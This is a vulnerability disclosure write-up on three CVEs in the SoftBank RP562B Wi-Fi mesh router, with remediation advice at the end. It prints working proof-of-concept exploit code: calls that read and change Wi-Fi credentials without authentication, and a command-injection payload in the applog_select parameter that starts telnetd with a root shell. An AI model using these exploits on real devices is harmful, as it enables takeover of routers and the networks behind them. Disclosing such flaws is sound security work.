SoftBank RP562B Wi-Fi Mesh under the Microscope - A Security Analysis

Product Description

The SoftBank Wi-Fi Mesh RP562B, manufactured by Sercomm Corporation and distributed by SoftBank Corp., is a dual-band Wi-Fi mesh system designed to provide seamless and high-speed internet coverage. The device is powered by a Linux kernel version 4.19.183+, running on an ARMv7 architecture, and features a memory configuration of 256 MB of RAM and 64 MB of flash storage.

— SoftBank RP562B packaging

Affected Products

All versions versions prior to 1.0.2

Vulnerability Summary

[CVE-2024-47799] - Active debug code (CWE-489).

The SoftBank Mesh RP562B is affected by Missing Authentication for Critical Function in the /data/activation.json endpoint. A malicious unauthenticated threat actor can view or update the device Wi-Fi configuration and exploit this vulnerability to gain unauthorized access to the network. This issue affects all SoftBank Mesh RP562B routers using version 1.0.2 and under.

[CVE-2024-45827] - OS Command Injection (CWE-78).

The SoftBank Mesh RP562B is affected by an authenticated remote command injection vulnerability in the binary file /usr/www-ap/setup.cgi. This vulnerability allows attackers to inject and execute arbitrary shell commands through the applog_select parameter. By exploiting this flaw, a malicious actor can gain full control over the device and execute arbitrary commands as the root user. This issue affects all SoftBank Mesh RP562B routers using version 1.0.2 and under.  

[CVE-2024-29075] - Exposure of sensitive system information to an unauthorized control sphere (CWE-497).

The SoftBank Mesh RP562B is affected by an Exposure of Sensitive Information vulnerability. The URL for the TR-069 endpoint leaks, allowing unauthorized actors to access the bms_iface?wsdl interface and retrieve detailed information about all connected devices. This exposure can lead to unauthorized control and manipulation of the devices. This issue affects all SoftBank Mesh RP562B routers using version 1.0.2 and under. 

Reproduction Steps

Active debug code (CWE-489)

Due to the lack of authentication on the endpoint http://[mesh_ip]/data/activation.json, an attacker can exploit this vulnerability by sending a GET request to receive the Wi-Fi credential and/or send a POST request with the desired Wi-Fi name and password to change the device configuration. This can enable unauthorized access to the network, leading to further network compromise, lateral movement, or data interception.

root@yoda:/ cat main.py
import sbmeshAPI

device = {
    "mesh_ip": "192.168.1.245",
    "wifi_name": "ThePromisedLan",
    "wifi_password": "00000000",
}

current_creds = sbmeshAPI.getWifiCreds(device)
print(current_creds)

new_creds = sbmeshAPI.setWifiCreds(device)
print(response)

check_new_creds = sbmeshAPI.getWifiCreds(device)
print(check_new_creds)
root@yoda:/ python3 main.py
[ { "ctrl_ip": "192.168.1.245" }, { "ctrl_mac": "D8:21:DA:E7:77:71" }, { "ctrl_name": "RP562B_7538" }, { "ctrl_sn": "42125202127538" }, { "ctrl_led": "GreenStable" }, { "ctrl_ssid": "MESH-WIFI-GFJG9H" }, { "ctrl_protection": "wpawpa2" }, { "ctrl_password": "YMXsXFAngChA6D" }, { "agent_ip": "" }, { "agent_mac": "" }, { "agent_name": "" }, { "agent_sn": "" }, { "agent_signal": "-110" }, { "agent_rate": "0" }, { "agent_quality": "Bad" }, { "agent_led": "YellowStable" }, { "Default_ssid": "MESH-WIFI-GFJG9H" }, { "Default_password": "YMXsXFAngChA6D" }, { "display_msg": "" }, { "next_pageid": "" }, { "wait_time": "5000" } ]
[INFO] Wi-Fi configuration has been successfully updated.
[INFO] Please wait a few seconds for the changes to take effect.
[ { "ctrl_ip": "192.168.1.245" }, { "ctrl_mac": "D8:21:DA:E7:77:71" }, { "ctrl_name": "RP562B_7538" }, { "ctrl_sn": "42125202127538" }, { "ctrl_led": "GreenStable" }, { "ctrl_ssid": "ThePromisedLan" }, { "ctrl_protection": "wpawpa2" }, { "ctrl_password": "00000000" }, { "agent_ip": "" }, { "agent_mac": "" }, { "agent_name": "" }, { "agent_sn": "" }, { "agent_signal": "-110" }, { "agent_rate": "0" }, { "agent_quality": "Bad" }, { "agent_led": "YellowStable" }, { "Default_ssid": "MESH-WIFI-GFJG9H" }, { "Default_password": "YMXsXFAngChA6D" }, { "display_msg": "..." }, { "next_pageid": "wiz_F0" }, { "wait_time": "" } ]

This exploit demonstrates how to extract the current Wi-Fi name and password from a SoftBank Mesh RP562B device and then change them without requiring authentication. First, the exploit retrieves the original Wi-Fi credentials using sbmeshAPI.getWifiCreds(). Next, it changes he Wi-Fi name and password using sbmeshAPI.setWifiCreds(). The updated credentials are applied without any authentication, effectively allowing unauthorized changes to the device’s configuration.

OS Command Injection (CWE-78)

The binary /usr/www-ap/setup.cgi is vulnerable to a Remote Code Execution (RCE) attack due to improper sanitization of input passed to the system call within the function fcn.0003499c. This vulnerability arises because user input for the applog_select parameter is directly used in a command string without adequate validation or escaping.

undefined4 fcn.0003499c(int32_t arg1)
{
    int32_t iVar1;
    int32_t iVar2;
    int32_t var_920h;
    char *s1;
    void *s;
    char *var_818h;
    void *var_814h;
    int32_t var_20h;
    int32_t var_14h;

    iVar2 = 0;
    s1 = (char *)0x0;
    memset(&s, 0, 0xfc);
    var_818h = (char *)0x0;
    memset(&var_814h, 0, 0x7fc);
    snprintf(&s1, 0x100, aav.0x000594db, arg1);
    iVar1 = strtok(&s1, 0x594d2);
    while (iVar1 != 0) {
        iVar1 = snprintf((int32_t)&var_818h + iVar2, 0x800 - iVar2, 0x59e16, "/tmp/sys_monitor/flash/application_log/", 
                         iVar1);
        iVar2 = iVar2 + iVar1;
        iVar1 = strtok(0, 0x594d2);
    }
    SYSTEM("/bin/tar -cvf %s %s", "/tmp/app_log.tar");
    return 0;
}

The function fcn.0003499c constructs a command string using snprintf and user-provided input (arg1, which corresponds to applog_select). This command string is then executed using the SYSTEM function.

If an attacker injects malicious input into the applog_select field, they can execute arbitrary shell commands.

root@yoda:/ cat main.py
import sbmeshAPI

device = {
    "mesh_ip": "192.168.1.242",
    "mesh_username": "user",
    "mesh_password": "RTconf01",
}

response = sbmeshAPI.execTelnetRce(device)
print(response)
root@yoda:/ python3 main.py
[INFO] RCE successfully exploited! Telnet is now open.
[INFO] telnet 192.168.1.242
root@yoda:/ telnet 192.168.1.242
Trying 192.168.1.242...
Connected to 192.168.1.242.
Escape character is '^]'.

/usr/www-ap # cat /etc/hw_id
RP562B
/usr/www-ap # cat /etc/customer 
SBK

The exploit script we made inject a payload like the following into the POST request /data/statussupporteventlog_applog_download.json :

"""
Enable Telnet using Remote Code Injection (RCE)
"""
def execTelnetRce(deviceInfo):
    if not deviceInfo["mesh_username"] or not deviceInfo["mesh_password"]:
        raise ValueError(
            "[ERROR] 'execTelnetRce': mesh_username and mesh_password keys are not defined in deviceInfo"
        )
    session_id, dk = loadSessionIDAndDK(deviceInfo)

    headers = {
        "Accept-Language": "en-US,en;q=0.5",
        "Cookie": "username=user; session_id={}".format(session_id),
    }

    timestamp = str(int(time.time() * 1000))

    applogCsrfToken = getApplogCsrfToken(deviceInfo, headers)
    payload = 'applog_select=A;echo "#!/bin/sh" > /tmp/slogin;echo "export PATH=/bin:/sbin:/usr/bin:/usr/sbin" >> /tmp/slogin;echo "/bin/sh" >> /tmp/slogin;/bin/chmod 755 /tmp/slogin;/usr/sbin/telnetd -l /tmp/slogin'

    url = "http://{}/data/statussupporteventlog_applog_download.json?_={}&csrf_token={}".format(
        deviceInfo["mesh_ip"], timestamp, applogCsrfToken
    )
    response = requests.post(url, headers=headers, data=payload)
    if response.status_code == 200:
        return f"[INFO] RCE successfully exploited! Telnet is now open.\n[INFO] telnet {deviceInfo['mesh_ip']}"
    else:
        return f"[ERROR] Failed to exploit the RCE flaw. It may have been patched?:\n{response.status_code} - {response.text}"


def getApplogCsrfToken(deviceInfo, headers):
    url = "http://{}/status-and-support.html#sub=debug_log".format(
        deviceInfo["mesh_ip"]
    )

    response = requests.get(url, headers=headers)
    csrfToken = re.search(r"var csrf_token = '([a-zA-Z0-9]+)'", response.text).group(1)
    return csrfToken

The exploit injects a payload into the device using the sbmeshAPI.execTelnetRce() function. The payload performs the following actions:

1. It creates a script /tmp/slogin with commands to set the environment path and launch a shell.

2. The script is then made executable with the chmod 755 command.

3. Finally, the payload starts the Telnet service using the custom shell script, enabling remote access.

Once the Telnet service is active, the attacker can connect to the device with root privileges.

Exposure of sensitive system information to an unauthorized control sphere (CWE-497)

In the UCI (Unified Configuration Interface) parameters, it is possible to retrieve the FOTA TR-069 XFire Services ASC server address (fota.sercomm.com:8443) in clear text, which is used to manage devices remotely.

In the output of the cmld_client get_node Device.X_SC_FOTA. command, it is possible to retrieve the FOTA (Firmware Over-The-Air) server configuration details in clear text.

The parameters include the server URL (http-fota.softbank.smartgaiacloud.com), port (8443), and protocol (https), which are used to remotely manage and update the device firmware.

/usr/www-ap # cmld_client get_node Device.X_SC_FOTA.
ret is 0
<?xml version="1.0"?>
<SERCOMM_CML>
        <Element name="X_SC_FOTA." ntchange="0" type="object">
                <Element name="ServerUrl" writable="1" ntchange="0" value="http-fota.softbank.smartgaiacloud.com" type="string(255)"/>
                <Element name="ServerPort" writable="1" ntchange="0" value="8443" type="unsignedInt"/>
                <Element name="Protocol" writable="1" ntchange="0" value="https" type="string(255)"/>
                <Element name="FWVersion" writable="1" ntchange="0" value="" type="string(255)"/>
                <Element name="DownloadETag" writable="1" ntchange="0" value="" type="string(255)"/>
                <Element name="DownloadFile" writable="1" ntchange="0" value="" type="string(255)"/>
                <Element name="MutualAuth" writable="1" ntchange="0" value="0" type="boolean"/>
                <Element name="TrafficThreshold" writable="1" ntchange="0" value="0" type="unsignedInt"/>
                <Element name="UpgradeableTimeStart" writable="1" ntchange="0" value="2" type="unsignedInt[0:24]"/>
                <Element name="UpgradeableTimeEnd" writable="1" ntchange="0" value="4" type="unsignedInt[0:24]"/>
                <Element name="FailureTime" writable="1" ntchange="0" value="0" type="unsignedInt"/>
                <Element name="FailureMaxTime" writable="1" ntchange="0" value="5" type="unsignedInt"/>
                <Element name="WatchDogPeriodicTime" writable="1" ntchange="0" value="86400" type="unsignedInt"/>
        </Element>
</SERCOMM_CML>
, length is 1306
/usr/www-ap # cmld_client get Device.X_SC_FOTA.ServerUrl
Device.X_SC_FOTA.ServerUrl = http-fota.softbank.smartgaiacloud.com

When attempting to connect, we are redirected without authentication to the page http-fota.softbank.smartgaiacloud.com:8443/bms_iface?wsdl, which displays a list of all SOAP (Simple Object Access Protocol) endpoints.

These endpoints include functions such as getAllKit to retrieve the list of all devices and their information, resetIPDevice to remotely reset a device, and addFirmwareUpgradeTask to remotely upgrade a device.

As a proof of concept, we exploited the getAllKit endpoint, allowing us to receive information about all SoftBank Wi-Fi mesh Model RP562B users' devices. 

Recommendation Fixes / Remediation

Missing Authentication for Critical Function:

  • Ensure that the /data/activation.json endpoint requires authentication to be used.
    • Encrypt the requests to this endpoint, use sjcl.js library to encrypt the POST request

      OS Command Injection:

      • Implement input validation and sanitization for the applog_select parameter to ensure that only valid filenames are accepted.

        Exposure of Sensitive Information:

        • Encrypt the XML configuration parameters Device.X_SC_FOTA.ServerUrl. This will protect the sensitive URLs from being exposed.
          • Ensure that the the fota server (http-fota.softbank.smartgaiacloud.com:8443/) is protected by an authentication mechanism to restrict access to authorized users only.

            Exploits

            All exploits used are available on GitHub: https://github.com/0xNslabs/SoftBankMeshAPI

            PoC (OS Command Injection)

            Reference

            https://jvn.jp/en/vu/JVNVU90676195/ (English)

            https://jvn.jp/vu/JVNVU90676195/ (Japanese)  

            Security researcher

            Samy Younsi (@0xSamy_)